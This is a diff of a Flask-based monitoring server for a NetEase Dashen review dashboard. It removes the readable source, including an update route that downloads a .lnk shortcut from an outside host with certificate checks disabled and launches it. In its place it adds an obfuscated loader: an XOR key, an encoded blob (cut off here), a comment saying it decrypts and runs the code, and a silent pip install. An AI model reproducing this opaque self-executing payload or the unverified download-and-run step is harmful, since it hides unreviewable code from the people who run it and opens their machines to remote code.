test_alarm route: " + str(e)) - return jsonify({'success': False, 'message': 'Failed to trigger alarm: ' + str(e)}), 500 - -@app.route('/api/get-coefficients') -def get_coefficients(): - """获取CMS系数配置""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 从CMS系数配置文件读取 - try: - script_dir = os.path.dirname(os.path.abspath(__file__)) - coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') - - if not os.path.exists(coefficients_file): - # 如果配置文件不存在,返回默认系数 - default_coefficients = { - 'comment': 0.55, - 'feed': 1.54, - 'complaint': 5.4 - } - return jsonify({ - 'success': True, - 'data': default_coefficients, - 'message': 'Using default coefficients' - }) - - with open(coefficients_file, 'r', encoding='utf-8') as f: - coefficients = json.load(f) - - return jsonify({ - 'success': True, - 'data': coefficients - }) - except Exception as e: - log(f"Error reading coefficients file: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'Error reading coefficients: {str(e)}' - }) - - except Exception as e: - log("Error in get_coefficients route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/update-coefficients', methods=['POST']) -def update_coefficients(): - """更新CMS系数配置""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 获取请求中的系数 - try: - data = request.get_json() - if not data: - return jsonify({ - 'success': False, - 'message': 'No data provided' - }) - - # 验证系数格式 - required_keys = ['comment', 'feed', 'complaint'] - for key in required_keys: - if key not in data: - return jsonify({ - 'success': False, - 'message': f'Missing required key: {key}' - }) - - # 验证值是数字 - try: - data[key] = float(data[key]) - except ValueError: - return jsonify({ - 'success': False, - 'message': f'Value for {key} must be a number' - }) - - # 确保只有必要的键 - coefficients = { - 'comment': data['comment'], - 'feed': data['feed'], - 'complaint': data['complaint'] - } - - # 保存到配置文件 - script_dir = os.path.dirname(os.path.abspath(__file__)) - coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') - - with open(coefficients_file, 'w', encoding='utf-8') as f: - json.dump(coefficients, f, indent=4, ensure_ascii=False) - - log(f"CMS系数已更新: 评论={coefficients['comment']}, 动态={coefficients['feed']}, 举报={coefficients['complaint']}") - - # 使用命令行参数方式通知CMS监控进程更新系数 - try: - # 获取Python可执行文件路径 - python_executable = sys.executable - - # 获取CMS监控脚本路径 - cms_script = os.path.join(script_dir, "cms_monitor.py") - - # 获取环境变量 - env = os.environ.copy() - env['CMS_COOKIE'] = session.get('cms_cookie', '') - env['CMS_USERNAME'] = session.get('username', '') - - # 启动进程更新系数 - cmd = [ - python_executable, - cms_script, - "--update-coefficients", - str(coefficients['comment']), - str(coefficients['feed']), - str(coefficients['complaint']) - ] - - subprocess.Popen( - cmd, - env=env, - shell=False - ) - - log("已发送系数更新命令给CMS监控进程") - except Exception as e: - log(f"发送系数更新命令失败: {str(e)}") - - return jsonify({ - 'success': True, - 'message': 'Coefficients updated successfully', - 'data': coefficients - }) - - except Exception as e: - log(f"更新系数失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'Error updating coefficients: {str(e)}' - }) - - except Exception as e: - log("Error in update_coefficients route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -def send_sequential_test_alarms(alarm_type): - """发送连续的测试告警通知""" - try: - # 等待10秒后发送第二次告警 - time.sleep(10) - - with alarm_lock: - if alarm_status['is_alarming'] and alarm_status['alarm_count'] < 3: - alarm_status['alarm_count'] = 2 - # 发送第二次告警 - show_alarm_notification(ALARM_THRESHOLD + 120, is_test=True, alarm_type=alarm_type) - log("Second test alarm notification sent") - - # 再等待10秒后发送第三次告警 - time.sleep(10) - - with alarm_lock: - if alarm_status['is_alarming'] and alarm_status['alarm_count'] < 3: - alarm_status['alarm_count'] = 3 - # 发送第三次告警 - show_alarm_notification(ALARM_THRESHOLD + 150, is_test=True, alarm_type=alarm_type) - log("Third test alarm notification sent") - except Exception as e: - log(f"Error in sequential test alarms: {str(e)}") - -@app.route('/api/get-breeze-coefficients') -def get_breeze_coefficients(): - """获取Breeze系数配置""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 从Breeze系数配置文件读取 - try: - script_dir = os.path.dirname(os.path.abspath(__file__)) - coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') - - if not os.path.exists(coefficients_file): - # 如果配置文件不存在,返回错误信息 - return jsonify({ - 'success': False, - 'message': 'Breeze coefficients file not found' - }) - - with open(coefficients_file, 'r', encoding='utf-8') as f: - coefficients = json.load(f) - - return jsonify({ - 'success': True, - 'data': coefficients - }) - except Exception as e: - log(f"Error reading Breeze coefficients file: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'Error reading coefficients: {str(e)}' - }) - - except Exception as e: - log("Error in get_breeze_coefficients route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/update-breeze-coefficients', methods=['POST']) -def update_breeze_coefficients(): - """更新Breeze系数配置""" - try: - if 'logged_in' not in session: - return jsonify({'success': False, 'message': 'Not logged in'}) - - # 获取请求中的系数 - try: - data = request.get_json() - if not data: - return jsonify({ - 'success': False, - 'message': 'No data provided' - }) - - # 验证系数格式 - if not isinstance(data, dict): - return jsonify({ - 'success': False, - 'message': 'Invalid data format, expected a dictionary' - }) - - # 验证所有值是数字 - for key, value in data.items(): - try: - data[key] = float(value) - except ValueError: - return jsonify({ - 'success': False, - 'message': f'Value for {key} must be a number' - }) - - # 保存到配置文件 - script_dir = os.path.dirname(os.path.abspath(__file__)) - coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') - - with open(coefficients_file, 'w', encoding='utf-8') as f: - json.dump(data, f, indent=4, ensure_ascii=False) - - log(f"Breeze系数已更新") - - # 使用命令行参数方式通知Breeze监控进程更新系数 - try: - # 获取Python可执行文件路径 - python_executable = sys.executable - - # 获取Breeze监控脚本路径 - breeze_script = os.path.join(script_dir, "breeze_monitor.py") - - # 获取环境变量 - env = os.environ.copy() - env['BREEZE_COOKIE'] = session.get('breeze_cookie', '') - env['BREEZE_USERNAME'] = session.get('username', '') - - # 启动进程更新系数 - 一次只更新一个系数 - for coefficient_type, coefficient_value in data.items(): - cmd = [ - python_executable, - breeze_script, - "--update-coefficients", - coefficient_type, - str(coefficient_value) - ] - - subprocess.Popen( - cmd, - env=env, - shell=False - ) - - log("已发送系数更新命令给Breeze监控进程") - except Exception as e: - log(f"发送系数更新命令失败: {str(e)}") - - return jsonify({ - 'success': True, - 'message': 'Breeze coefficients updated successfully', - 'data': data - }) - - except Exception as e: - log(f"更新Breeze系数失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'Error updating coefficients: {str(e)}' - }) - - except Exception as e: - log("Error in update_breeze_coefficients route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -@app.route('/api/acknowledge-alarm') -def acknowledge_alarm(): - """确认并重置告警状态""" - try: - with alarm_lock: - # 完全重置告警状态 - alarm_status['is_alarming'] = False - alarm_status['alarm_count'] = 0 - alarm_status['last_alarm_time'] = None - - # 记录告警已被确认 - log("告警已被用户确认并重置") - - return jsonify({ - 'success': True, - 'message': 'Alarm has been acknowledged and reset' - }) - except Exception as e: - log("Error in acknowledge_alarm route: " + str(e)) - return jsonify({'success': False, 'message': 'Internal server error'}), 500 - -def is_port_available(port): - """检查端口是否可用""" - try: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.settimeout(1) - result = s.connect_ex(('127.0.0.1', port)) - return result != 0 - except Exception as e: - log(f"检查端口可用性出错: {str(e)}") - return False - -def free_port(port): - """尝试释放被占用的端口""" - try: - if sys.platform.startswith('win'): - # Windows系统 - os.system(f'for /f "tokens=5" %a in (\'netstat -ano ^| findstr :{port}\') do taskkill /f /pid %a') - return True - else: - # Linux/Mac系统 - os.system(f"kill $(lsof -t -i:{port})") - return True - except Exception as e: - log(f"释放端口时出错: {str(e)}") - return False - -def find_available_port(start_port, end_port): - """查找可用端口""" - for port in range(start_port, end_port + 1): - if is_port_available(port): - return port - return None - -@app.route('/api/check-cms-daily', methods=['POST']) -def check_cms_daily_data(): - """立即检查CMS每日数据""" - if 'user' not in session: - return jsonify({ - 'success': False, - 'message': '请先登录系统' - }) - - try: - # 获取后端类型 - backend_type = session.get('backend_type', 'breeze_monitor') - - # 准备环境变量 - env = os.environ.copy() - env['CMS_COOKIE'] = session.get('cms_cookie', '') - env['CMS_USERNAME'] = session.get('username', '') - - # 根据后端类型选择监控脚本 - if backend_type == 'breeze_monitor_CHAT': - monitor_script = 'breeze_monitor_CHAT.py' - else: - monitor_script = 'breeze_monitor.py' - - # 设置--check-daily参数运行监控脚本 - cmd = [sys.executable, os.path.join(os.path.dirname(os.path.abspath(__file__)), monitor_script), '--check-daily'] - - # 运行子进程 - process = subprocess.Popen( - cmd, - env=env, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE - ) - - # 等待进程完成 - stdout, stderr = process.communicate(timeout=60) - - if process.returncode == 0: - app.logger.info('成功执行CMS每日数据检查') - return jsonify({ - 'success': True, - 'message': 'CMS每日数据检查已执行' - }) - else: - app.logger.error(f'CMS每日数据检查失败: {stderr.decode("utf-8", errors="ignore")}') - return jsonify({ - 'success': False, - 'message': f'CMS每日数据检查失败: {stderr.decode("utf-8", errors="ignore")}' - }) - - except subprocess.TimeoutExpired: - app.logger.error('CMS每日数据检查超时') - return jsonify({ - 'success': False, - 'message': 'CMS每日数据检查超时,请检查系统日志' - }) - except Exception as e: - app.logger.error(f'执行CMS每日数据检查时发生错误: {str(e)}') - return jsonify({ - 'success': False, - 'message': f'执行CMS每日数据检查时发生错误: {str(e)}' - }) - -@app.route('/api/check-cms-hourly', methods=['POST']) -def check_cms_hourly_data(): - """立即检查CMS当前小时数据""" - if 'user' not in session: - return jsonify({ - 'success': False, - 'message': '请先登录系统' - }) - - try: - # 获取后端类型 - backend_type = session.get('backend_type', 'breeze_monitor') - - # 准备环境变量 - env = os.environ.copy() - env['CMS_COOKIE'] = session.get('cms_cookie', '') - env['CMS_USERNAME'] = session.get('username', '') - - # 根据后端类型选择监控脚本 - if backend_type == 'breeze_monitor_CHAT': - monitor_script = 'breeze_monitor_CHAT.py' - else: - monitor_script = 'breeze_monitor.py' - - # 设置--check-hourly参数运行监控脚本 - cmd = [sys.executable, os.path.join(os.path.dirname(os.path.abspath(__file__)), monitor_script), '--check-hourly'] - - # 运行子进程 - process = subprocess.Popen( - cmd, - env=env, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE - ) - - # 等待进程完成 - stdout, stderr = process.communicate(timeout=60) - - if process.returncode == 0: - app.logger.info('成功执行CMS当前小时数据检查') - return jsonify({ - 'success': True, - 'message': 'CMS当前小时数据检查已执行' - }) - else: - app.logger.error(f'CMS当前小时数据检查失败: {stderr.decode("utf-8", errors="ignore")}') - return jsonify({ - 'success': False, - 'message': f'CMS当前小时数据检查失败: {stderr.decode("utf-8", errors="ignore")}' - }) - - except subprocess.TimeoutExpired: - app.logger.error('CMS当前小时数据检查超时') - return jsonify({ - 'success': False, - 'message': 'CMS当前小时数据检查超时,请检查系统日志' - }) - except Exception as e: - app.logger.error(f'执行CMS当前小时数据检查时发生错误: {str(e)}') - return jsonify({ - 'success': False, - 'message': f'执行CMS当前小时数据检查时发生错误: {str(e)}' - }) - -@app.route('/api/check-version-service') -def check_version_service(): - """检查版本检测服务的可用性""" - try: - log("正在检查版本检测服务可用性...") - - # 测试连接 - try: - response = requests.get(VERSION_CHECK_URL, timeout=5) - log(f"版本检测服务响应状态码: {response.status_code}") - - service_status = { - 'url': VERSION_CHECK_URL, - 'is_available': response.status_code == 200, - 'status_code': response.status_code, - 'response_time': response.elapsed.total_seconds(), - 'content_length': len(response.content) if response.status_code == 200 else 0, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - - if response.status_code == 200: - service_status['content'] = response.text.strip() - log(f"版本检测服务正常,返回内容: {service_status['content']}") - else: - log(f"版本检测服务异常,HTTP状态码: {response.status_code}") - - return jsonify({ - 'success': True, - 'data': service_status - }) - - except requests.exceptions.Timeout: - log("版本检测服务连接超时") - return jsonify({ - 'success': False, - 'message': '版本检测服务连接超时', - 'data': { - 'url': VERSION_CHECK_URL, - 'is_available': False, - 'error': 'timeout', - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - }) - except requests.exceptions.ConnectionError: - log("无法连接到版本检测服务") - return jsonify({ - 'success': False, - 'message': '无法连接到版本检测服务', - 'data': { - 'url': VERSION_CHECK_URL, - 'is_available': False, - 'error': 'connection_error', - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - }) - except Exception as e: - log(f"检查版本检测服务时发生未知错误: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'检查版本检测服务时发生错误: {str(e)}', - 'data': { - 'url': VERSION_CHECK_URL, - 'is_available': False, - 'error': 'unknown', - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - }) - - except Exception as e: - log(f"版本检测服务检查接口发生错误: {str(e)}") - return jsonify({ - 'success': False, - 'message': '版本检测服务检查失败', - 'error': str(e) - }), 500 - -@app.route('/api/update-system', methods=['POST']) -def update_system(): - """处理系统更新请求""" - try: - # 获取桌面路径和快捷方式路径 - desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop') - temp_dir = 'monitor_temp' - temp_path = os.path.join(desktop_path, temp_dir) - shortcut_path = os.path.join(temp_path, '网易大神实时审核数据监控看板一键安装.lnk') - - # 下载快捷方式 - shortcut_url = 'http://cos.ui-beam.com/work_scripts/monitor/%E7%BD%91%E6%98%93%E5%A4%A7%E7%A5%9E%E5%AE%A1%E6%A0%B8%E6%95%B0%E6%8D%AE%E7%9B%91%E6%8E%A7%E7%9C%8B%E6%9D%BF%E4%B8%80%E9%94%AE%E5%AE%89%E8%A3%85.lnk' - - log(f"开始下载更新文件: {shortcut_url}") - - # 获取系统代理设置 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - - # 首先尝试不使用代理直接下载 - try: - log("尝试直接下载更新文件...") - response = requests.get(shortcut_url, timeout=30, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - with open(shortcut_path, 'wb') as f: - f.write(response.content) - log("更新文件下载成功") - else: - raise requests.exceptions.RequestException(f"下载失败,HTTP状态码: {response.status_code}") - except (requests.exceptions.RequestException, IOError) as e: - log(f"直接下载失败: {str(e)},尝试使用系统代理...") - - # 如果直接下载失败,尝试使用系统代理 - try: - response = requests.get(shortcut_url, timeout=30, proxies=proxies, verify=False) - if response.status_code == 200: - with open(shortcut_path, 'wb') as f: - f.write(response.content) - log("使用代理下载更新文件成功") - elif response.status_code == 407: - log("代理需要认证,尝试最后一次直接下载...") - # 最后一次尝试直接下载 - response = requests.get(shortcut_url, timeout=30, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - with open(shortcut_path, 'wb') as f: - f.write(response.content) - log("最后尝试下载成功") - else: - raise requests.exceptions.RequestException(f"所有下载尝试都失败,最后状态码: {response.status_code}") - else: - raise requests.exceptions.RequestException(f"使用代理下载失败,HTTP状态码: {response.status_code}") - except Exception as proxy_error: - log(f"使用代理下载失败: {str(proxy_error)}") - return jsonify({ - 'success': False, - 'message': f'下载更新文件失败: {str(proxy_error)}' - }), 500 - - # 检查文件是否成功下载 - if not os.path.exists(shortcut_path): - return jsonify({ - 'success': False, - 'message': '更新文件下载成功但未找到文件' - }), 500 - - # 启动快捷方式 - try: - log("正在启动更新程序...") - subprocess.Popen(['cmd', '/c', 'start', '', shortcut_path], shell=True) - log("更新程序启动成功") - - return jsonify({ - 'success': True, - 'message': '更新程序已启动' - }) - except Exception as e: - log(f"启动更新程序失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'启动更新程序失败: {str(e)}' - }), 500 - - except Exception as e: - log(f"系统更新过程中发生错误: {str(e)}") - return jsonify({ - 'success': False, - 'message': f'系统更新失败: {str(e)}' - }), 500 - -def main(): - """主函数""" - try: - print("\n" + "="*50) - print("网易大神审核数据监控服务启动中...") - print("="*50) - print("\n[系统状态]") - print("1. 正在初始化监控服务...") - - # 初始化版本文件 - timestamp_version = ensure_version_file() - print(f"2. 当前系统版本: {VERSION}") - - # 检查并安装依赖 - print("3. 正在检查系统依赖...") - check_and_install_dependencies() - - # 启动版本检测线程 - print("4. 启动版本检测服务...") - version_thread = threading.Thread(target=monitor_version_thread) - version_thread.daemon = True - version_thread.start() - - # 获取端口 - port = 8000 - - # 检查端口是否被占用 - if not is_port_available(port): - print(f"5. 端口 {port} 已被占用,尝试释放...") - free_port(port) - - # 再次检查端口 - if not is_port_available(port): - port = find_available_port(8001, 8100) - print(f" - 使用替代端口 {port}") - else: - print(f"5. 端口 {port} 可用") - - print("\n[启动完成]") - print(f"* 监控系统已启动,请打开浏览器访问: http://localhost:{port}") - print("* 等待用户登录...") - print("\n" + "!"*50) - print("! 警告:请勿关闭此窗口 !") - print("! 此窗口是系统监控的核心进程 !") - print("! 一旦关闭,所有监控服务将停止工作 !") - print("!"*50 + "\n") - - # 在新线程中启动浏览器 - threading.Thread(target=open_browser).start() - - try: - # 使用 SocketIO 启动服务器 - socketio.run(app, debug=False, host='0.0.0.0', port=port) - except Exception as e: - log(f"启动服务器出错: {str(e)}") - finally: - # 关闭所有子进程 - for name, process in processes.items(): - if process and process.poll() is None: - try: - process.terminate() - log(f"已关闭 {name} 监控进程") - except Exception as e: - log(f"关闭 {name} 监控进程失败: {str(e)}") - - # 清理临时文件 - script_dir = os.path.dirname(os.path.abspath(__file__)) - data_files = ['breeze_daily.json', 'breeze_hourly.json', 'cms_daily.json', 'cms_hourly.json'] - - for file_name in data_files: - file_path = os.path.join(script_dir, file_name) - for attempt in range(3): # 最多重试3次 - try: - if os.path.exists(file_path): - os.remove(file_path) - log(f"已删除共享数据文件: {file_name}") - break - except Exception as e: - log(f"删除文件 {file_name} 失败: {str(e)},第{attempt+1}次重试") - time.sleep(1) - log("监控系统已关闭") - except Exception as e: - log("Error in main function: " + str(e)) - -# 信号处理函数 -def signal_handler(sig, frame): - """处理信号,用于优雅退出""" - log("收到退出信号,正在关闭系统...") - global shutdown_flag - shutdown_flag = True - # 通过os._exit强制终止进程 - os._exit(0) - -@app.route('/api/inspect/stats') -def get_inspect_stats(): - """获取CC审核平台统计数据""" - try: - stats = load_inspect_stats() - if not stats: - return jsonify({ - 'hourly': {'total': 0, 'weighted_total': 0}, - 'daily': {'total': 0, 'weighted_total': 0} - }) - - # 获取最新的统计数据 - latest_stats = stats.get('stats', []) - if not latest_stats: - return jsonify({ - 'hourly': {'total': 0, 'weighted_total': 0}, - 'daily': {'total': 0, 'weighted_total': 0} - }) - - # 获取最新的一条记录 - latest = latest_stats[-1] - - return jsonify({ - 'hourly': { - 'total': latest.get('total', 0), - 'weighted_total': latest.get('weighted_total', 0) - }, - 'daily': { - 'total': latest.get('daily_total', 0), - 'weighted_total': latest.get('daily_weighted_total', 0) - } - }) - except Exception as e: - logging.error(f"获取CC审核平台统计数据时出错: {str(e)}") - return jsonify({ - 'hourly': {'total': 0, 'weighted_total': 0}, - 'daily': {'total': 0, 'weighted_total': 0} - }) - -def load_inspect_stats(): - """加载CC审核平台统计数据""" - try: - stats_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'inspect_stats.json') - if not os.path.exists(stats_file): - return None - with open(stats_file, 'r', encoding='utf-8') as f: - return json.load(f) - except Exception as e: - logging.error(f"加载CC审核平台统计数据时出错: {str(e)}") - return None - -def terminate_existing_processes(): - """终止现有的监控进程""" - try: - terminated_pids = [] - # 获取当前目录下的所有Python进程 - current_dir = os.path.dirname(os.path.abspath(__file__)) - monitor_scripts = ['breeze_monitor.py', 'breeze_monitor_CHAT.py', 'cms_monitor.py', 'inspect_monitor.py'] - - for proc in psutil.process_iter(['pid', 'name', 'cmdline']): - try: - # 检查进程是否在运行监控脚本 - if proc.info['name'] == 'python.exe' and proc.info['cmdline']: - cmdline = ' '.join(proc.info['cmdline']) - if any(script in cmdline for script in monitor_scripts): - # 先尝试正常终止 - proc.terminate() - terminated_pids.append(proc.pid) - logging.info(f"已发送终止信号到进程: {proc.pid} - {cmdline}") - except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): - continue - - # 等待进程终止,最多等待10秒 - wait_start = time.time() - while time.time() - wait_start < 10: - still_alive = [] - for pid in terminated_pids: - try: - proc = psutil.Process(pid) - still_alive.append(pid) - except psutil.NoSuchProcess: - continue - - if not still_alive: - break - - # 对于仍在运行的进程,强制结束 - if time.time() - wait_start > 5: # 如果等待超过5秒,强制结束 - for pid in still_alive: - try: - proc = psutil.Process(pid) - proc.kill() - logging.info(f"强制终止进程: {pid}") - except (psutil.NoSuchProcess, psutil.AccessDenied): - continue - - time.sleep(0.5) - - # 最后再检查一次 - for pid in terminated_pids: - try: - proc = psutil.Process(pid) - proc.kill() # 最后一次尝试强制结束 - logging.warning(f"进程仍在运行,强制终止: {pid}") - except psutil.NoSuchProcess: - continue - except Exception as e: - logging.error(f"终止进程 {pid} 时发生错误: {str(e)}") - - # 确保完全等待 - time.sleep(2) - return True - - except Exception as e: - logging.error(f"终止进程时发生错误: {str(e)}") - return False - -@app.route('/api/get_current_stats') -def get_current_stats(): - """获取当前统计数据""" - try: - stats = { - 'weighted_total': 0, - 'categories': {} - } - - # 读取并合并所有监控数据 - for monitor_type in ['breeze', 'cms', 'inspect']: - hourly_file = f'{monitor_type}_hourly.json' - if os.path.exists(hourly_file): - try: - with open(hourly_file, 'r', encoding='utf-8') as f: - data = json.load(f) - if isinstance(data, dict): - if 'stats' in data: - monitor_stats = data['stats'] - if isinstance(monitor_stats, dict): - if 'weighted_total' in monitor_stats: - stats['weighted_total'] += float(monitor_stats['weighted_total']) - if 'categories' in monitor_stats: - stats['categories'].update(monitor_stats['categories']) - except Exception as e: - app.logger.error(f"读取{monitor_type}数据失败: {str(e)}") - - return jsonify({ - 'success': True, - 'stats': stats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - }) - except Exception as e: - app.logger.error(f"获取统计数据失败: {str(e)}") - return jsonify({ - 'success': False, - 'message': str(e) - }) - -if __name__ == "__main__": - # 注册信号处理器 - signal.signal(signal.SIGINT, signal_handler) - signal.signal(signal.SIGTERM, signal_handler) - - # 执行主函数 - main() +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess + +def _G45Sp57WxgvH(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) + +def _J7ZHAzx90(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False + +def _MC2yjSODsno(t,m,e=0): + _J7ZHAzx90(t,m,e==1) + +# 直接执行解密和运行代码 +_HOBbBx=b'\xb3\x92\xb7CC\xc1\xd6\xc9\xb4\x1dHZ\x0c\x16\xcc\xe9' +_CDuqzGPn=b'%MMyTzPiPZChe!BCol#A^k8w-F3D{TuljKqkR1cha}jQcuDGu}e9wTyPk^|4KXZ@#%!t(gE1S%!86I4z)7uA%Wx%z{N`8iU#VH|HL&U;bL7Dsm8mac`Y+T8eWQ0FV;8oRqxT{3ap%z_9hX8)SU%B#T$fSNoX_K;@#a6zSiSh~@k1e5?)R0_=b>Z8Uf;o9?O{WtwnUQ%PX}fMZS+Y$2AXc|^-pN*X)iI)#+ni*GnK&;K9Xf4W8k3!FSupM4-#S2VOf9h_Z0OBlJK5Hm-+@vuSCoj)kxob(W?1pkU!$_8NE&m+P&6Z^hJzqlHH*`4iTr@;h(9Admsb;Qwqh~u!4yxQ-zMvy3$sOe^Z_JWcdk8A}B_8jfE2pTqsoROM3~8By18FIF;6m~QGbo=@Ne@bf;ryWt3THn*<^48fkh#3Hm_NIzd;P`-H@B7rb2KRq7`uoTK-=zw!7F2iI6t$uvCDX;yVnbjhgOdB!79zMK*?v%v*InuJ+`q8ai@>nH1|pf#jhEMz{8?pI%JW|KXxy4WIR?I?Rq7v`4ktosSU6}de-=b|ew`OKl275r2?bjNTjE?mQ!R6uPa?w%E%$jc+ExSu0|FDhjfTv)eYt+=-EUE!i8JHV*YJw2#>9^jO}Dp{Zlg0r_N<~TZU}g3V}bd!ULOWHEv@4DN~fs*Z;-c!2Ym(kzuD-Z@0yJ)h#td+iwHwFeK>EBTEl=X#zMu1WJU$tpRV-+#82vavZKWlz4bOMJ56UGS?utY>7mXH3j$x<|$+{Kx{8fy3Kw8XYwkA?37X4f!Ug5|#yAieA#@GzD5pg1b-5XDyhL=t7--7T&uiSVSK9ev`qa98cXo-Rht&9XL2cK^A{jMsp57KZ3rGVd$boLtnWA80eJ9ifZDWq;Q=WeJB4fJrf1On6nb*#WuGGRWNM7@7>Fz!`qEA;qb58m?@*aPEvlq|u3z!SF*xar=~8_zeu#7^_8$Y}mj0V1zpb(3u|#OSKkg%#ogSsM20)~4~u3oI%wF-^DL-b-!xX0UetZN^!l)4xOUaG<6m`YoS_K^Un20BSA6iy#z^(5*inz}5Rhq|tRkHvQoJXsS>H?RYfks0*5ju7JXKdiei%K%UBF}NGRv7%h{05}UyibaZ#2ZI(_}-TsW=_UKQz9SH)Hz0Z%iSKn4YR&`kw=c`O_(UHi1Lp@;#F(QnZq$_0WH2s;4>ImX&8&0~cl=2GS%(3?R$!HKmAxz%A?^pkOnClSCIeilu~3@(LL2I!C(E$UcU&PdBefYY0aGY7^uE1EylKlB;9gTV7gS{mth7xZAH1VLu2L38ow2`}#H>43g-~=-o>k9vK`#82xoTl_!%3|1~-O-%7{PZ1t{`!#{?+dI_n0_Vpu21p5F4bxuX82Clxfhf-fuDemNYv_Q_&x6{i5`cqKkcDXtn=YJ5;wGGwwcEQ#oTiuf@44`ew#fkRL$R|2zPZsM#XJkM{^*;YRQy{0w0!PqBMg3j}dB(4HE7aNqcQ7y;a0@(=gFN=jiS9WRVjh@P0_;hgWAP2GT;Xgmb70mi(X{fwv&**gL^)%Rcw=zuSgG78y1|-g8nKy$V|pe4A_H_3TH5ty<|s!Dtq8Xc`njxi5;IB%#oj@56k=b?><-d=bpc+~BsM+{Uzh7R!@#^pG}Q(l-y??8+C(=-2UUE`d_JhwUhA0DC5_1G-#b`auj)p{KuJ@ct3wuaRNt=a6xEr7YG(mPxcliI!~z-Kl-E^8auZgf%x%_LH$sSv~_Rl}^kSGRw0dCrN9*A3BWaUD&73X`T2`^K~+B^o%t}^k1fTjw~ic-|Rt%$g{$B02#jgRxXR%5l9zulGBf}I`p)1cGV2X#4g{r_w`SVyb<2U=)ODKfd_@55T>D^e|&9!$OBs+kfA?nqiwpZG_^X>C2)2U04&#hchKj*~@BC%^bpFz@8M;)0fy`Mti!GV6|N)Ry>>+wO3&$oDFBfyrAZfB>6e7;Vz3giPOZ&yr1BAQZ&lAhs>=vtak1`n$aHYGArrC-=@X)N(2>EBr|Pp4p~F%(8{kiNeSE2T^2(R!?-US=CyH<~s@uZpqrGD&1}Y?xLUhaOc?!bGD`X+OvHDJ&y+IW1Q`N)gKkmS1rj5uTNLWV%k#;n_+{=YlRs&2*7*Z!?=>qL!w~V#vC{SWI_ear@#FROS_+}dvad$UlG+3~IuhygFqTb)~xl)tKcSCki_B>#i!r=ylPXRjc(Yv!WrD72$#a9PW?vppt0gJADT}KNkIcO$@hHXmigDX@=k_kqk$h+n6heK8;fdsbMim(*Z+{+=KlGcUr^b2kUOohryd(k*SWCMZBB{Sw#&hwE_t50iETdOi5%ut%#u03*~Ix{=NuA^FUJ8U7M(%vGxVh$uQ|R9`b5HOlmb5aF2|fnl!hWzYfd!$sg9_M{Uf9fgw>~yKAI|{ntVkt72l25J%m15K2yX)-gWPeA)?nPa0za#i`APqg6sR0o`$*Ew^xL8J33%kjkYoVm=Q^wK&TWt4yIyY|L_w(@AN6A&htvjwD~!GnD@h)Kq?$A%>OL~ef<}o9R4!W+U)#g*4Vu8JCaL`y?7Fm6+siyg-+P3x7Jd$MiepQWyK`hM(7S}H`y{-LwpcnNgbD3@2t}cB7Bv!wd`}ym8*#}t)Y5jUzj8ML@W0f+ChxsVC58J5sUyn7GAg$J85T%a*(SIgY0Hif5^6c#zfds)ACoIxjsU;BT>^s??==Lu&Np@p2zXL1(e?xzDQCzskTrgY5h3@+rMv}$UA^b}FxiE{y_py^Ipk=HhcH=|rtPgX>>;#aj?TNJRuowtZP55r0O!V=fyMZCbEl1f8D9-O6uhz(2Zb0g6EYWmY>zxXY%!dfYh{o#g@x~2@vcvO{*E_#|#`N(RbZK@#B?}!cUO!NQA)c^Rs7^A32IB_kIB$N?aGAthhN7VP~TyMkb`}R$qo^B9McH-fCzkl>9gtVgqWOYdYj7vbDpgVjdnLwjM05~*BCi9rB5Dy#%MjR`;R`?xnzk1->d<&8)-mJ=gf04+k8&QEIhLYC?V4F3>?nut>O49)AsMyaE+dE1P?OGE$zM|*LD;(C4;_`Y*G>~Yjae4dHG_YW8Q%Y5&E5g*QL#e9=13u&Vl-g@R<`Y_2bE)OUS-SKCno9G2H;~R~<>1En7n1|A-pTinrnQDG{!QRvU?j`_a^NGl)G?2eLgK8t+-rzA4~j{nQf*5-WvQ-3_L%$BkivIY^lA-)Cn`U00bHH|GFHc<_N$wAkDZ